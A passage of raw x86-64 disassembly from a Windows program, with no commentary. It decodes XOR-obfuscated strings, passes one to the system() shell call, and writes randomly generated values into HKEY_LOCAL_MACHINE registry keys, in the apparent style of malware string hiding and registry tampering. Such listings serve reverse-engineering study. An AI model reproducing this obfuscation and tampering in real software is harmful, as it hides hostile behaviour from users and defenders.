pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400c0d00
cmp r8d, 0x39
jge 0x1400c0e40
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400c0e10
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.fodlwg]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140174020]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140174030]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140174040]
movups xmmword [rsp + 0x70], xmm1
movzx eax, word [0x140174050]
mov word [rbp - 0x80], ax
movzx eax, byte [0x140174052]
mov byte [rbp - 0x7e], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c0fd5
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400c0ed0
cmp r8d, 0x43
jge 0x1400c1010
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x43
jl 0x1400c0fe0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c1050
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov rsi, rbx
mov qword [rbp - 0x20], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x18], r15
mov byte [rbp - 0x30], sil
mov edi, ebx
movzx r12d, byte [0x140172998]
movups xmm4, xmmword [0x140172988]
lea r14, [r15 - 0x10]
nop
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c110c
cmp edi, 0x18
je 0x1400c110c
movzx eax, word [0x1401721ec]
mov word [rbp - 0x70], ax
cmp byte [0x1401721ed], 0
je 0x1400c10e7
mov byte [rbp - 0x70], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp - 0x6f], 0x36
lea rax, [rbp - 0x70]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400c10f0
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x30]
call fcn.140058cc0
jmp 0x1400c12da
movups xmmword [rbp - 0x70], xmm4
mov byte [rbp - 0x60], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1255
movdqa xmm6, xmmword [0x140175f00]
movdqa xmm5, xmmword [0x1401761d0]
movdqa xmm7, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c1150
cmp r8d, 0x11
jge 0x1400c1290
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c1260
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rbp + rcx - 0x70]
cmp rsi, r15
jae 0x1400c12d1
lea rax, [rsi + 1]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmp r15, 0xf
cmova rax, qword [rbp - 0x30]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c12e9
lea rcx, [rbp - 0x30]
call fcn.140060700
movups xmm4, xmmword [0x140172988]
movzx r12d, byte [0x140172998]
inc edi
cmp edi, 0x19
jge 0x1400c12fd
mov r15, qword [rbp - 0x18]
mov rsi, qword [rbp - 0x20]
jmp 0x1400c10b0
mov r14d, 1
mov r9d, r14d
lea r8, [0x14016cfc4]
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.1400622e0
mov r9d, r14d
lea r8, [0x14016cfc0]
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x30]
call fcn.1400622e0
lea r10, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r10, qword [rbp - 0x30]
movsd xmm0, qword [str.AgJVRPXyJ__B]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140172678]
mov dword [rbp - 0x68], eax
movzx eax, word [0x14017267c]
mov word [rbp - 0x64], ax
cmp byte [0x14017267d], 0
je 0x1400c14c0
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1477
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm2, xmmword [0x140175f00]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
mov eax, dword [0x140176070]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.AgJVRPXyJ__B]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140175f20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c1490
mov eax, dword [rbp - 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c14ee
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x140173888]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140173898]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x1401738a8]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x1401738b8]
mov word [rsp + 0x70], ax
movzx eax, byte [0x1401738ba]
mov byte [rsp + 0x72], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1675
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c1570
cmp r8d, 0x33
jge 0x1400c16b0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400c1680
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c16f0
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov rsi, rbx
mov qword [rbp - 0x40], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x38], r15
mov byte [rbp - 0x50], sil
mov edi, ebx
movzx r12d, byte [0x140172998]
movups xmm4, xmmword [0x140172988]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c1783
cmp edi, 0x18
je 0x1400c1783
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp - 0x50]
call fcn.140058cc0
jmp 0x1400c195a
movups xmmword [rsp + 0x40], xmm4
mov byte [rsp + 0x50], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c18d5
movdqa xmm6, xmmword [0x140175f00]
movdqa xmm5, xmmword [0x1401761d0]
movdqa xmm7, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c17d0
cmp r8d, 0x11
jge 0x1400c1910
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c18e0
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x40]
cmp rsi, r15
jae 0x1400c1951
lea rax, [rsi + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp r15, 0xf
cmova rax, qword [rbp - 0x50]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c1969
lea rcx, [rbp - 0x50]
call fcn.140060700
movups xmm4, xmmword [0x140172988]
movzx r12d, byte [0x140172998]
inc edi
cmp edi, 0x19
jge 0x1400c197d
mov r15, qword [rbp - 0x38]
mov rsi, qword [rbp - 0x40]
jmp 0x1400c1750
mov r9, r14
lea r8, [0x14016cfc4]
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.1400622e0
mov r9, r14
lea r8, [0x14016cfc0]
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.1400622e0
lea r10, [rbp - 0x50]
movups xmm0, xmmword [str.vYZHLNNu_M_61__f_G]
movzx eax, word [0x140173578]
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], ax
movzx eax, byte [0x14017357a]
mov byte [rsp + 0x52], al
cmp qword [rbp - 0x38], 0xf
jbe 0x1400c19db
mov r10, qword [rbp - 0x50]
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1b25
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c1a20
cmp r8d, 0x13
jge 0x1400c1b60
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400c1b30
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c1b8f
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x50]
call fcn.14003d700
movups xmm0, xmmword [0x140173888]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140173898]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x1401738a8]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x1401738b8]
mov word [rsp + 0x70], ax
movzx eax, byte [0x1401738ba]
mov byte [rsp + 0x72], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1d25
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c1c20
cmp r8d, 0x33
jge 0x1400c1d60
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400c1d30
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c1da0
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov rsi, rbx
mov qword [rbp - 0x40], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x38], r15
mov byte [rbp - 0x50], sil
mov edi, ebx
movzx r12d, byte [0x140172998]
movups xmm4, xmmword [0x140172988]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c1e33
cmp edi, 0x18
je 0x1400c1e33
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp - 0x50]
call fcn.140058cc0
jmp 0x1400c200a
movups xmmword [rsp + 0x40], xmm4
mov byte [rsp + 0x50], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1f85
movdqa xmm6, xmmword [0x140175f00]
movdqa xmm5, xmmword [0x1401761d0]
movdqa xmm7, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
